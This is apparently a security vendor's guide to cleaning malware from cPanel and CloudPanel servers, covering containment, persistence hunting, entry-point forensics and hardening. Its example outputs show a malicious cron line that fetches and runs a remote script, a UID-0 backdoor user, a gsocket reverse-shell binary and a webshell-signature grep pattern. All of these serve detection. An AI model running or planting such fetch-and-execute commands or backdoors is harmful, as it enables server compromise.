Key takeaways
- On a control-panel server, one hacked site can infect every other account on it, so scope the whole server, not one site.
- cPanel sites live under /home/{user}/public_html; CloudPanel sites live under /home/{site-user}/htdocs/{domain}.
- Check every user's crontab and the panel's own users and keys, not just WordPress files.
- Snapshot first, then contain, then clean, then fix the entry point. Cleaning without fixing guarantees re-infection.
- Finish by hardening: block PHP in uploads, restrict SSH and the panel login, and rotate every credential.
How do you clean malware from a cPanel or CloudPanel server?
To clean a hacked cPanel or CloudPanel server, snapshot it for evidence, contain access by rotating passwords and removing unknown users and keys, then scan every site and the operating system for webshells, cron jobs and backdoors. Remove what you find, fix the entry point, and harden the server so it cannot recur.
Both panels host many sites on one machine, which is what makes them efficient and what makes infections spread. In cPanel, each account normally runs as its own Linux user; in CloudPanel, each site has its own site user. That separation helps, but a vulnerable plugin on one site, a shared password, or a root-level compromise can still reach the others. Our guide to why one hacked site infects the rest explains how.
Before you start: do not delete files or restore a backup yet. You need evidence to find the entry point, and the backup may itself be infected.
How do you contain a hacked control-panel server?
Contain the server by taking a full snapshot, then cutting off the attacker's access: change the panel, root, database and SFTP passwords from a clean device, remove unknown panel users, SSH keys and API tokens, and restrict SSH and the panel login to your own IP address while you work.
- Snapshot. Use your provider's snapshot feature, or archive the web roots, logs and databases to a location off the server.
- Rotate credentials. Root, panel admin, every account or site user, databases, SFTP and any cloud console login.
- Audit access. In cPanel/WHM, review accounts, resellers and API tokens. In CloudPanel, review admin users and site users. On the server, check
authorized_keysfor every user. - Limit exposure. Allow SSH (port 22) and the panel ports only from your IP. For CloudPanel the admin interface is usually on port 8443; for WHM and cPanel, ports 2087 and 2083.
# List every authorized_keys file on the server
find / -name authorized_keys -path "*/.ssh/*" 2>/dev/null
# Users with a login shell (look for names you do not recognise)
grep -vE "nologin|false" /etc/passwd
root:x:0:0:root:/root:/bin/bash
acmeshop:x:1001:1001::/home/acmeshop:/bin/bash
sysupdate:x:0:0::/var/tmp/.sys:/bin/bash
That last line, a second user with UID 0, is a root-equivalent backdoor. Anything with UID 0 other than root should be treated as hostile.
Where does malware hide on a cPanel server?
On cPanel, malware usually hides in account web roots under /home/{user}/public_html, in add-on domain folders, in writable upload directories, in per-user crontabs under /var/spool/cron, and in hidden directories within home folders. Root-level compromises add system cron, systemd services and replaced binaries.
# Every user's crontab on a cPanel server
for f in /var/spool/cron/*; do echo "== $f"; cat "$f"; done
== /var/spool/cron/acmeshop
*/5 * * * * /usr/local/bin/php /home/acmeshop/public_html/wp-cron.php
* * * * * wget -q -O- http://198.51.100.17/.x | bash
# PHP files in uploads folders (these should almost never exist)
find /home/*/public_html -path "*uploads*" -name "*.php"
/home/acmeshop/public_html/wp-content/uploads/2026/05/about.php
# PHP files changed in the last 14 days across all accounts
find /home/*/public_html -name "*.php" -mtime -14 -printf "%TY-%Tm-%Td %p\n" | sort
Also check each account's .htaccess files for injected redirects, and php.ini or .user.ini files for auto_prepend_file directives that load malware before every page.
Where does malware hide on a CloudPanel server?
On CloudPanel, each site lives under /home/{site-user}/htdocs/{domain} and runs PHP-FPM as that site user. Malware typically hides in those web roots, in the site user's crontab, in /tmp and /dev/shm, and, after a root compromise, in system services and cron. Nginx vhost files are also worth checking.
# Crontab for every CloudPanel site user
for u in $(ls /home); do echo "== $u"; crontab -l -u "$u" 2>/dev/null; done
# Webshell signatures across every site
grep -rlE "eval\(base64_decode|gzinflate\(|str_rot13\(|assert\(\\\$_" /home/*/htdocs --include=*.php
/home/acme/htdocs/acme-shop.co.uk/wp-includes/class-wp-cache-helper.php
# Executables in memory-backed and temp directories
find /tmp /dev/shm /var/tmp -type f -perm -u+x 2>/dev/null
/dev/shm/.x/gs-netcat
# Recently enabled or unfamiliar services
systemctl list-unit-files --type=service --state=enabled
An executable called gs-netcat or similar in /dev/shm is a sign of a gsocket reverse shell, which gives an attacker interactive access without an open inbound port. That is a root-level incident and needs full server investigation, covered in our server malware removal service.
Security triage
Is your site showing any of this?
Tell us what you’re seeing in two minutes and we’ll tell you what it means and what to do next. Hacked right now? Get emergency help.
How do you remove the malware safely?
Remove malware by quarantining malicious files rather than deleting them outright, replacing WordPress core and plugins with fresh copies from official sources, cleaning injected code from the database, removing malicious cron entries, services and users, and then rescanning until the server comes back clean.
- Kill persistence first. Remove malicious cron entries and disable rogue services and processes, otherwise the malware reinstalls as you clean.
- Quarantine files. Move webshells and injected files to a quarantine folder outside web roots, recording hashes for evidence.
- Replace core and plugins. Reinstall WordPress core, plugins and themes from official sources instead of editing infected copies. Our WordPress malware removal guide covers this in detail.
- Clean the database. Look for rogue administrators, injected scripts in
wp_optionsand posts, and unexpected scheduled events. - Rescan every site. Clean all accounts on the server, not just the one that showed symptoms.
# Verify WordPress core checksums for a site (WP-CLI)
sudo -u acme wp core verify-checksums --path=/home/acme/htdocs/acme-shop.co.uk
Warning: File doesn't verify against checksum: wp-includes/class-wp-cache-helper.php
# After reinstalling core
Success: WordPress installation verifies against checksums.How do you find how the attacker got in?
Find the entry point by working backwards from the earliest malicious file. Note its modification time, then search the web server access logs around that time for the first request to it and the requests that came just before. That usually reveals a vulnerable plugin endpoint, a stolen login or an upload form being abused.
The log locations differ between the two panels. On cPanel, per-domain Apache logs are typically under /usr/local/apache/domlogs/, and account users can also download raw access logs from the panel. On CloudPanel, each site's Nginx logs are usually in /home/{site-user}/logs/nginx/.
# When was the webshell created or last modified?
stat -c "%y %n" /home/acmeshop/public_html/wp-content/uploads/2026/05/about.php
2026-05-19 04:12:55 /home/acmeshop/public_html/wp-content/uploads/2026/05/about.php
# cPanel: requests around that time for this domain
grep "19/May/2026:04:1" /usr/local/apache/domlogs/acme-shop.co.uk*
203.0.113.77 - - [19/May/2026:04:12:54 +0100] "POST /wp-admin/admin-ajax.php?action=upload_file HTTP/1.1" 200 88
203.0.113.77 - - [19/May/2026:04:13:02 +0100] "GET /wp-content/uploads/2026/05/about.php HTTP/1.1" 200 1432
# CloudPanel: the same search in the site's Nginx log
grep "about.php" /home/acme/logs/nginx/access.log
In this example, an AJAX upload action in a plugin accepted a PHP file one second before the webshell appeared. That plugin is the entry point, and it must be updated or removed before the site goes back into service. If logs have rotated or been wiped, file timestamps, database changes and the plugin inventory still narrow it down; our Forensic scan correlates these for you.
How do you stop a control-panel server being re-infected?
Stop re-infection by fixing the entry point, usually a vulnerable plugin, a reused password or an exposed panel, and then hardening: block PHP execution in upload folders, restrict SSH and panel logins by IP, enforce keys instead of passwords, remove unused accounts, and monitor continuously for changes.
- Update or remove the vulnerable plugin, theme or panel extension that let the attacker in.
- Block PHP execution in
wp-content/uploadson every site. - Disable SSH password logins and root login; use keys only.
- Restrict WHM, cPanel or CloudPanel admin access to known IP addresses and enable two-factor authentication.
- Remove old, unused accounts, sites and databases.
- Take a clean, verified backup and keep it off the server.
- Monitor file changes, cron and users so a repeat is caught quickly.
PatientZero automates this with Harden playbooks and 24/7 monitoring. Our Server / Multi-site plan covers every site on the server with unlimited clean-ups; see pricing. If you want us to take the whole clean-up off your hands, get protected or, if the server is under attack now, go to emergency help.
Frequently asked questions
Can I just restore a cPanel backup to remove malware?
Restoring a backup can help, but only if the backup predates the infection and you have closed the entry point. Many infections go unnoticed for weeks, so backups are often already infected. A restore also leaves server-level backdoors such as cron jobs and rogue users untouched.
Does ImunifyAV or a panel scanner remove all malware?
Panel-integrated scanners are useful for finding known malicious files in web roots, but they generally do not investigate persistence such as system cron jobs, rogue services, reverse shells or unexpected users. Treat their results as a starting point, not proof that the server is clean.
Why has every site on my CloudPanel server been hacked?
Either each site shares a weakness, such as the same outdated plugin or password, or the attacker gained root or broad file access from one site and spread to the rest. Clean and harden every site together, otherwise the untouched ones will re-infect the cleaned ones.
Should I rebuild the server instead of cleaning it?
After a confirmed root-level compromise, a clean rebuild with migrated, verified site files is often the safest option. For infections confined to website files, a thorough clean-up and hardening is usually enough. A forensic scan tells you which situation you are in.